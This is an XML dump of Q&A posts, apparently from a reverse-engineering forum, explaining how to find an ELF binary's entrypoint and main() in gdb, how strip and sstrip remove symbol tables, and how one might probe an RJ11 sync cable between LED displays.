  <row Id="3815" PostTypeId="1" AcceptedAnswerId="3816" CreationDate="2014-03-07T06:55:02.097" Score="28" ViewCount="110586" Body="&lt;p&gt;I'm a newbie and just got into RE.&#xA;I got a ELF 64-bit LSB executable, x86-64. I'm trying to reverse it.&#xA;First I tried to set a break point on line 1 using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb ./filename&#xA;break 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The gdb says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No symbol table is loaded.  Use the &quot;file&quot; command.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OKie so gave out file command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) file filename&#xA;Reading symbols from /media/Disk/filename...(no debugging symbols found)...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could a set a break point to see the execution..?&lt;/p&gt;&#xA;" OwnerUserId="4004" LastActivityDate="2018-06-27T09:00:34.733" Title="Reversing ELF 64-bit LSB executable, x86-64 ,gdb" Tags="|gdb|elf|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3816" PostTypeId="2" ParentId="3815" CreationDate="2014-03-07T09:24:25.487" Score="59" Body="&lt;h2&gt;Getting the entrypoint&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have no useful symbol, you first need to find the entrypoint of the executable. There are several ways to do it (depending on the tools you have or the tools you like the best):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using &lt;code&gt;readelf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; readelf -h /bin/ls&#xA;ELF Header:&#xA;Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;Class:                             ELF64&#xA;Data:                              2's complement, little endian&#xA;Version:                           1 (current)&#xA;OS/ABI:                            UNIX - System V&#xA;ABI Version:                       0&#xA;Type:                              EXEC (Executable file)&#xA;Machine:                           Advanced Micro Devices X86-64&#xA;Version:                           0x1&#xA;Entry point address:               0x40489c&#xA;Start of program headers:          64 (bytes into file)&#xA;Start of section headers:          108264 (bytes into file)&#xA;Flags:                             0x0&#xA;Size of this header:               64 (bytes)&#xA;Size of program headers:           56 (bytes)&#xA;Number of program headers:         9&#xA;Size of section headers:           64 (bytes)&#xA;Number of section headers:         27&#xA;Section header string table index: 26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the entrypoint address is &lt;code&gt;0x40489c&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using &lt;code&gt;objdump&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; objdump -f /bin/ls&#xA;&#xA;/bin/ls:     file format elf64-x86-64&#xA;architecture: i386:x86-64, flags 0x00000112:&#xA;EXEC_P, HAS_SYMS, D_PAGED&#xA;start address 0x000000000040489c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, the entrypoint is &lt;code&gt;0x000000000040489c&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using &lt;code&gt;gdb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; gdb /bin/ls&#xA;GNU gdb (GDB) 7.6.2 (Debian 7.6.2-1)&#xA;...&#xA;Reading symbols from /bin/ls...(no debugging symbols found)...done.&#xA;(gdb) info files&#xA;Symbols from &quot;/bin/ls&quot;.&#xA;Local exec file:&#xA;    `/bin/ls', file type elf64-x86-64.&#xA;    Entry point: 0x40489c&#xA;    0x0000000000400238 - 0x0000000000400254 is .interp&#xA;    0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag&#xA;    0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id&#xA;    0x0000000000400298 - 0x0000000000400300 is .gnu.hash&#xA;    0x0000000000400300 - 0x0000000000400f18 is .dynsym&#xA;    0x0000000000400f18 - 0x00000000004014ab is .dynstr&#xA;    0x00000000004014ac - 0x00000000004015ae is .gnu.version&#xA;    0x00000000004015b0 - 0x0000000000401640 is .gnu.version_r&#xA;    0x0000000000401640 - 0x00000000004016e8 is .rela.dyn&#xA;    0x00000000004016e8 - 0x0000000000402168 is .rela.plt&#xA;    0x0000000000402168 - 0x0000000000402182 is .init&#xA;    0x0000000000402190 - 0x00000000004028a0 is .plt&#xA;    0x00000000004028a0 - 0x0000000000411f0a is .text&#xA;    0x0000000000411f0c - 0x0000000000411f15 is .fini&#xA;    0x0000000000411f20 - 0x000000000041701c is .rodata&#xA;    0x000000000041701c - 0x0000000000417748 is .eh_frame_hdr&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entrypoint is still &lt;code&gt;0x40489c&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Locating the &lt;code&gt;main&lt;/code&gt; procedure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once the entrypoint is known, you can set a breakpoint on it and start looking for the &lt;code&gt;main&lt;/code&gt; procedure. Because, you have to know that all the programs will start by a &lt;code&gt;_start()&lt;/code&gt; procedure in charge of initializing the memory for the process and loading the dynamic libraries. In fact, this first procedure is a convention in the Unix World.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly does this initialization procedure is quite tedious to follow and, most of the time, of no interest at all to understand your program. The &lt;code&gt;main()&lt;/code&gt; procedure will only start after all the memory is set-up and ready to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets see how to do that (I assume that the executable has been compile with &lt;code&gt;gcc&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break *0x40489c&#xA;Breakpoint 1 at 0x40489c&#xA;(gdb) run&#xA;Starting program: /bin/ls &#xA;warning: Could not load shared library symbols for linux-vdso.so.1.&#xA;&#xA;Breakpoint 1, 0x000000000040489c in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay, so we stopped at the very beginning of the executable. At this time, nothing is ready, everything need to be set-up. Let see what are the first steps of the executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas 0x40489c,+50&#xA;Dump of assembler code from 0x40489c to 0x4048ce:&#xA;=&amp;gt; 0x000000000040489c:  xor    %ebp,%ebp&#xA;   0x000000000040489e:  mov    %rdx,%r9&#xA;   0x00000000004048a1:  pop    %rsi&#xA;   0x00000000004048a2:  mov    %rsp,%rdx&#xA;   0x00000000004048a5:  and    $0xfffffffffffffff0,%rsp&#xA;   0x00000000004048a9:  push   %rax&#xA;   0x00000000004048aa:  push   %rsp&#xA;   0x00000000004048ab:  mov    $0x411ee0,%r8&#xA;   0x00000000004048b2:  mov    $0x411e50,%rcx&#xA;   0x00000000004048b9:  mov    $0x4028c0,%rdi&#xA;   0x00000000004048c0:  callq  0x4024f0 &amp;lt;__libc_start_main@plt&amp;gt;&#xA;   0x00000000004048c5:  hlt    &#xA;   0x00000000004048c6:  nopw   %cs:0x0(%rax,%rax,1)&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What follow the &lt;code&gt;hlt&lt;/code&gt; is just rubbish obtained because of the linear sweep performed by &lt;code&gt;gdb&lt;/code&gt;. So, just ignore it. What is relevant is the fact that we are calling &lt;code&gt;__libc_start_main()&lt;/code&gt; (I won't comment on the &lt;code&gt;@plt&lt;/code&gt; because it would drag us out of the scope of the question). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the procedure &lt;code&gt;__libc_start_main()&lt;/code&gt; initialize the memory for a process running with the &lt;code&gt;libc&lt;/code&gt; dynamic library. And, once done, jump to the procedure located in &lt;code&gt;%rdi&lt;/code&gt; (which usually is the &lt;code&gt;main()&lt;/code&gt; procedure). See the following picture to have a global view of what does the &lt;code&gt;__libc_start_main()&lt;/code&gt; procedure [&lt;a href=&quot;http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4S3MC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4S3MC.png&quot; alt=&quot;ELF complete callgraph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, indeed, the address of the &lt;code&gt;main()&lt;/code&gt; procedure is at &lt;code&gt;0x4028c0&lt;/code&gt;. Let disassemble a few instructions at this address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x /10i 0x4028c0&#xA;   0x4028c0:    push   %r15&#xA;   0x4028c2:    push   %r14&#xA;   0x4028c4:    push   %r13&#xA;   0x4028c6:    push   %r12&#xA;   0x4028c8:    push   %rbp&#xA;   0x4028c9:    mov    %rsi,%rbp&#xA;   0x4028cc:    push   %rbx&#xA;   0x4028cd:    mov    %edi,%ebx&#xA;   0x4028cf:    sub    $0x388,%rsp&#xA;   0x4028d6:    mov    (%rsi),%rdi&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, if you look at it, this is indeed the &lt;code&gt;main()&lt;/code&gt; procedure. So, this where to really start the analysis.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Words of warning&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Even if this way of looking for the &lt;code&gt;main()&lt;/code&gt; procedure will work in most the cases. You have to know that we strongly rely on the following hypothesis:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Programs written in pure assembly language and compiled with &lt;code&gt;gcc -nostdlib&lt;/code&gt; (or directly with &lt;code&gt;gas&lt;/code&gt; or &lt;code&gt;nasm&lt;/code&gt;) won't have a first call to &lt;code&gt;__libc_start_main()&lt;/code&gt; and will start straight from the entrypoint. Therefore, for these programs, the &lt;code&gt;_start()&lt;/code&gt; procedure is the &lt;code&gt;main()&lt;/code&gt; procedure. In fact, it is important to understand that the &lt;code&gt;main()&lt;/code&gt; procedure is just a convention introduced by the C language as the first function (written by the programmer) to be run in the program. Of course, you can find this convention replicated in many other languages such as Java, C++, and others. But, all these languages derive from C.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We also strongly rely on a knowledge on the way &lt;code&gt;__libc_start_main()&lt;/code&gt; works. And, how this procedure has been designed by the &lt;code&gt;gcc&lt;/code&gt; team. So, if the program you are analyzing has been compiled with another compiler, you may have to investigate a bit further about this compiler and how it perform the set-up of the memory before running the &lt;code&gt;main()&lt;/code&gt; procedure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Anyway, you should now be able to track down a program with no symbol at all if you read this answer carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you can find an excellent summary about the starting of an executable by reading &quot;&lt;a href=&quot;http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html&quot; rel=&quot;noreferrer&quot;&gt;Linux x86 Program Start Up or - How the heck do we get to &lt;code&gt;main()&lt;/code&gt;?&lt;/a&gt;&quot; by Patrick Horgan.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-06-27T09:00:34.733" LastActivityDate="2018-06-27T09:00:34.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3821" PostTypeId="1" CreationDate="2014-03-07T19:11:00.063" Score="2" ViewCount="107" Body="&lt;p&gt;I have two LED Call queuing displays. I don't know what is the english name for this but is LED display that you can increment one and people take paper ticket, used for counters, it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P4qus.jpg&quot; alt=&quot;LED Call queuing display&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two displays are connected with a RJ11/14 cable that sincronizes the information between them. I want to place a Arduino between them to get the current value in the display. I suspect the information between is passed using something like a serial connection (&lt;a href=&quot;http://arduino.sundh.com/2012/01/arduino-ethernet-shield-hooked-up-to-led-message-display/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mostly because posts like this&lt;/a&gt;), however it may only send a &lt;em&gt;tick&lt;/em&gt; event to the other board. I can't find a brand in the display, neither any documentation. What I would like to know is how should I try to reverse the RJ11 pinout. &lt;/p&gt;&#xA;" OwnerUserId="4103" LastActivityDate="2014-03-24T12:56:36.213" Title="Reversing a synchronisation cable between LED displays" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3823" PostTypeId="1" AcceptedAnswerId="3826" CreationDate="2014-03-07T21:45:15.150" Score="7" ViewCount="6132" Body="&lt;p&gt;I want to find how can I identify calls to shared libraries in GDB only. On a stripped binary, I cannot found the dynamic symbol table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; objdump -tT crackme-01&#xA;&#xA;crackme-01:     file format elf32-i386&#xA;&#xA;objdump: crackme-01: not a dynamic object&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&#xA;DYNAMIC SYMBOL TABLE:&#xA;no symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But still the dynamic library resolution is present, for instance before the call to &lt;code&gt;strcmp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048330 in ?? ()&#xA;...&#xA;0xb7ff2420 in _dl_runtime_resolve () from /lib/ld-linux.so.2&#xA;0xb7fec020 in _dl_fixup () from /lib/ld-linux.so.2&#xA;0xb7ff6678 in __x86.get_pc_thunk.bx () from /lib/ld-linux.so.2&#xA;0xb7fec033 in _dl_fixup () from /lib/ld-linux.so.2&#xA;0xb7fe7600 in _dl_lookup_symbol_x () from /lib/ld-linux.so.2&#xA;0xb7fe6df9 in do_lookup_x () from /lib/ld-linux.so.2&#xA;0xb7fedb70 in _dl_name_match_p () from /lib/ld-linux.so.2&#xA;...&#xA;0xb7ff5d74 in strcmp () from /lib/ld-linux.so.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how the symbol table is hidden from &lt;code&gt;readelf&lt;/code&gt; but still be used during execution ?&lt;/p&gt;&#xA;" OwnerUserId="2580" LastEditorUserId="53" LastEditDate="2014-06-07T12:57:28.753" LastActivityDate="2014-06-07T12:57:28.753" Title="No dynamic symbol table but resolution of method from shared libraries is working" Tags="|elf|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3824" PostTypeId="2" ParentId="3823" CreationDate="2014-03-07T21:59:39.040" Score="2" Body="&lt;p&gt;The difference is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The symbol table contains symbols for functions whose code is in the binary itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second snippet of code you listed above shows names of functions whose code is outside of the binary, in shared libraries.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-07T21:59:39.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3825" PostTypeId="2" ParentId="3823" CreationDate="2014-03-07T22:44:32.557" Score="4" Body="&lt;p&gt;So it looks like your executable does use shared objects after all. I'll use my psychic powers and hazard a guess that it's been compressed with something like &lt;a href=&quot;http://upx.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;UPX&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPX takes an executable (either static or dynamic), compresses its header and segments and adds a small unpacking stub. The resulting executable looks like static to the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when it is run, the unpacker stub unpacks the segments and the header into memory, and &lt;em&gt;loads the dynamic interpreter&lt;/em&gt; if it was required by the original program. So at runtime, the file does use dynamic symbols (via the interpreter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: as shown by perror, it's possible that the file is not actually packed but just had its section table stripped. While this does not affect its runnability it does break many tools, including, apparently, &lt;code&gt;objdump&lt;/code&gt; &lt;strike&gt;and &lt;code&gt;readelf&lt;/code&gt;&lt;/strike&gt;. You may want to try our &lt;a href=&quot;http://www.hexblog.com/security/files/efd.zip&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Extensive File Dumper&lt;/em&gt; (EFD)&lt;/a&gt; tool which can print the dynamic symbol table even if the section table has been stripped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;: it seems &lt;code&gt;readelf&lt;/code&gt; can handle such files after all. Try running &lt;code&gt;readelf -D -s &amp;lt;file.elf&amp;gt;&lt;/code&gt;. (I first tried &lt;code&gt;--dyn-syms&lt;/code&gt; but it did not work.)&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2014-03-08T20:18:49.327" LastActivityDate="2014-03-08T20:18:49.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3826" PostTypeId="2" ParentId="3823" CreationDate="2014-03-08T00:48:16.953" Score="5" Body="&lt;p&gt;In fact, they probably used the &lt;code&gt;sstrip&lt;/code&gt; software from the package &lt;a href=&quot;http://www.muppetlabs.com/~breadbox/software/elfkickers.html&quot; rel=&quot;nofollow&quot;&gt;ElfKicker&lt;/a&gt;. According to the &lt;code&gt;sstrip&lt;/code&gt; &lt;code&gt;README&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sstrip is a small utility that removes the contents at the end of an&#xA;  ELF file that are not part of the program's memory image.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Most ELF executables are built with both a program header table and a&#xA;  section header table. However, only the former is required in order&#xA;  for the OS to load, link and execute a program. sstrip attempts to&#xA;  extract the ELF header, the program header table, and its contents,&#xA;  leaving everything else in the bit bucket. It can only remove parts of&#xA;  the file that occur at the end, after the parts to be saved. However,&#xA;  this almost always includes the section header table, along with a few&#xA;  other sections that are not involved in program loading and execution.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It should be noted that most programs that work with ELF files are&#xA;  dependent on the section header table as an index to the file's&#xA;  contents. Thus, utilities such as gdb and objdump will often have&#xA;  limited functionality when working with an executable with no section&#xA;  header table. Some other utilities may refuse to work with them at&#xA;  all.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In fact, &lt;code&gt;sstrip&lt;/code&gt; remove all section information from the executable and keep the executable still usable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let see the different levels is strip that we can reach.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;No stripping&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let consider a program (similar to the one looked at in the question) with no stripping a all. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; objdump -tT ./crackme&#xA;&#xA;./crackme:     file format elf32-i386&#xA;&#xA;SYMBOL TABLE:&#xA;08048134 l    d  .interp            00000000              .interp&#xA;08048148 l    d  .note.ABI-tag      00000000              .note.ABI-tag&#xA;08048168 l    d  .note.gnu.build-id 00000000              .note.gnu.build-id&#xA;0804818c l    d  .gnu.hash          00000000              .gnu.hash&#xA;080481ac l    d  .dynsym            00000000              .dynsym&#xA;0804822c l    d  .dynstr            00000000              .dynstr&#xA;...&#xA;080497dc g       .bss               00000000              _end&#xA;08048390 g     F .text              00000000              _start&#xA;080485f8 g     O .rodata            00000004              _fp_hw&#xA;080497d8 g       .bss               00000000              __bss_start&#xA;08048490 g     F .text              00000000              main&#xA;00000000  w      *UND*              00000000              _Jv_RegisterClasses&#xA;080497d8 g     O .data              00000000              .hidden __TMC_END__&#xA;00000000  w      *UND*              00000000              _ITM_registerTMCloneTable&#xA;080482f4 g     F .init              00000000              _init&#xA;&#xA;DYNAMIC SYMBOL TABLE:&#xA;00000000      DF *UND*              00000000  GLIBC_2.0   strcmp&#xA;00000000      DF *UND*              00000000  GLIBC_2.0   read&#xA;00000000      DF *UND*              00000000  GLIBC_2.0   printf&#xA;00000000      DF *UND*              00000000  GLIBC_2.0   system&#xA;00000000  w   D  *UND*              00000000              __gmon_start__&#xA;00000000      DF *UND*              00000000  GLIBC_2.0   __libc_start_main&#xA;080485fc g    DO .rodata            00000004  Base        _IO_stdin_used&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Stripping with &lt;code&gt;strip&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; strip ./crackme-striped&#xA;$&amp;gt; objdump -tT ./crackme-striped &#xA;&#xA;./crackme-striped:     file format elf32-i386&#xA;&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&#xA;DYNAMIC SYMBOL TABLE:&#xA;00000000     DF *UND*   00000000  GLIBC_2.0   strcmp&#xA;00000000     DF *UND*   00000000  GLIBC_2.0   read&#xA;00000000     DF *UND*   00000000  GLIBC_2.0   printf&#xA;00000000     DF *UND*   00000000  GLIBC_2.0   system&#xA;00000000  w  D  *UND*   00000000              __gmon_start__&#xA;00000000     DF *UND*   00000000  GLIBC_2.0   __libc_start_main&#xA;080485fc g   DO .rodata 00000004  Base        _IO_stdin_used&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, the dynamic symbols are still here when &lt;code&gt;strip&lt;/code&gt; is applied. The rest is just removed cleanly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stripping with &lt;code&gt;sstrip&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally, lets take a look at what happen when using &lt;code&gt;sstrip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; sstrip ./crackme-sstriped&#xA;$&amp;gt; objdump -tT ./crackme-sstriped &#xA;&#xA;./crackme-sstriped:     file format elf32-i386&#xA;&#xA;objdump: ./crackme-sstriped: not a dynamic object&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&#xA;DYNAMIC SYMBOL TABLE:&#xA;no symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can notice, all symbols, including dynamic symbols have been removed. In fact, all the symbols pointing towards the PLT are removed and addresses are left as static addresses. Here is an example with the &lt;code&gt;_start&lt;/code&gt; procedure preamble, first all the symbols:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0x8048390 &amp;lt;_start&amp;gt;:    xor    %ebp,%ebp&#xA; 0x8048392 &amp;lt;_start+2&amp;gt;:  pop    %esi&#xA; 0x8048393 &amp;lt;_start+3&amp;gt;:  mov    %esp,%ecx&#xA; 0x8048395 &amp;lt;_start+5&amp;gt;:  and    $0xfffffff0,%esp&#xA; 0x8048398 &amp;lt;_start+8&amp;gt;:  push   %eax&#xA; 0x8048399 &amp;lt;_start+9&amp;gt;:  push   %esp&#xA; 0x804839a &amp;lt;_start+10&amp;gt;: push   %edx&#xA; 0x804839b &amp;lt;_start+11&amp;gt;: push   $0x80485e0&#xA; 0x80483a0 &amp;lt;_start+16&amp;gt;: push   $0x8048570&#xA; 0x80483a5 &amp;lt;_start+21&amp;gt;: push   %ecx&#xA; 0x80483a6 &amp;lt;_start+22&amp;gt;: push   %esi&#xA; 0x80483a7 &amp;lt;_start+23&amp;gt;: push   $0x8048490&#xA; 0x80483ac &amp;lt;_start+28&amp;gt;: call   0x8048380 &amp;lt;__libc_start_main@plt&amp;gt;&#xA; 0x80483b1 &amp;lt;_start+33&amp;gt;: hlt    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, then &lt;code&gt;strip&lt;/code&gt;ep:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x8048390:  xor    %ebp,%ebp&#xA;0x8048392:  pop    %esi&#xA;0x8048393:  mov    %esp,%ecx&#xA;0x8048395:  and    $0xfffffff0,%esp&#xA;0x8048398:  push   %eax&#xA;0x8048399:  push   %esp&#xA;0x804839a:  push   %edx&#xA;0x804839b:  push   $0x80485e0&#xA;0x80483a0:  push   $0x8048570&#xA;0x80483a5:  push   %ecx&#xA;0x80483a6:  push   %esi&#xA;0x80483a7:  push   $0x8048490&#xA;0x80483ac:  call   0x8048380 &amp;lt;__libc_start_main@plt&amp;gt;&#xA;0x80483b1:  hlt    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, finally, the &lt;code&gt;sstrip&lt;/code&gt; version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x8048390:  xor    %ebp,%ebp&#xA;0x8048392:  pop    %esi&#xA;0x8048393:  mov    %esp,%ecx&#xA;0x8048395:  and    $0xfffffff0,%esp&#xA;0x8048398:  push   %eax&#xA;0x8048399:  push   %esp&#xA;0x804839a:  push   %edx&#xA;0x804839b:  push   $0x80485e0&#xA;0x80483a0:  push   $0x8048570&#xA;0x80483a5:  push   %ecx&#xA;0x80483a6:  push   %esi&#xA;0x80483a7:  push   $0x8048490&#xA;0x80483ac:  call   0x8048380&#xA;0x80483b1:  hlt    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Surprisingly the executable is still functional. Let's compare what ELF headers are left after &lt;code&gt;strip&lt;/code&gt; and &lt;code&gt;sstrip&lt;/code&gt; (as suggested Igor). First, after a &lt;code&gt;strip&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; readelf -l crackme-striped &#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x8048390&#xA;There are 8 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 RWE 0x4&#xA;  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 RWE 0x1&#xA;      [Requesting program interpreter: /lib/ld-linux.so.2]&#xA;  LOAD           0x000000 0x08048000 0x08048000 0x006b4 0x006b4 RWE 0x1000&#xA;  LOAD           0x0006b4 0x080496b4 0x080496b4 0x00124 0x00128 RWE 0x1000&#xA;  DYNAMIC        0x0006c0 0x080496c0 0x080496c0 0x000e8 0x000e8 RWE 0x4&#xA;  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 RWE 0x4&#xA;  GNU_EH_FRAME   0x000600 0x08048600 0x08048600 0x00024 0x00024 RWE 0x4&#xA;  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10&#xA;&#xA; Section to Segment mapping:&#xA;   Segment Sections...&#xA;   00     &#xA;   01     .interp &#xA;   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame &#xA;   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss &#xA;   04     .dynamic &#xA;   05     .note.ABI-tag .note.gnu.build-id &#xA;   06     .eh_frame_hdr &#xA;   07     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, then the version that went through with &lt;code&gt;sstrip&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; readelf -l ./crackme-sstriped &#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x8048390&#xA;There are 8 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 RWE 0x4&#xA;  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 RWE 0x1&#xA;      [Requesting program interpreter: /lib/ld-linux.so.2]&#xA;  LOAD           0x000000 0x08048000 0x08048000 0x006b4 0x006b4 RWE 0x1000&#xA;  LOAD           0x0006b4 0x080496b4 0x080496b4 0x00124 0x00128 RWE 0x1000&#xA;  DYNAMIC        0x0006c0 0x080496c0 0x080496c0 0x000e8 0x000e8 RWE 0x4&#xA;  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 RWE 0x4&#xA;  GNU_EH_FRAME   0x000600 0x08048600 0x08048600 0x00024 0x00024 RWE 0x4&#xA;  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the name of the sections have also been removed (as announced in README file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, applying &lt;code&gt;sstrip&lt;/code&gt; on an executable that went through &lt;code&gt;upx&lt;/code&gt; render the final executable unusable (I tried).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-03-08T20:05:14.413" LastActivityDate="2014-03-08T20:05:14.413" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
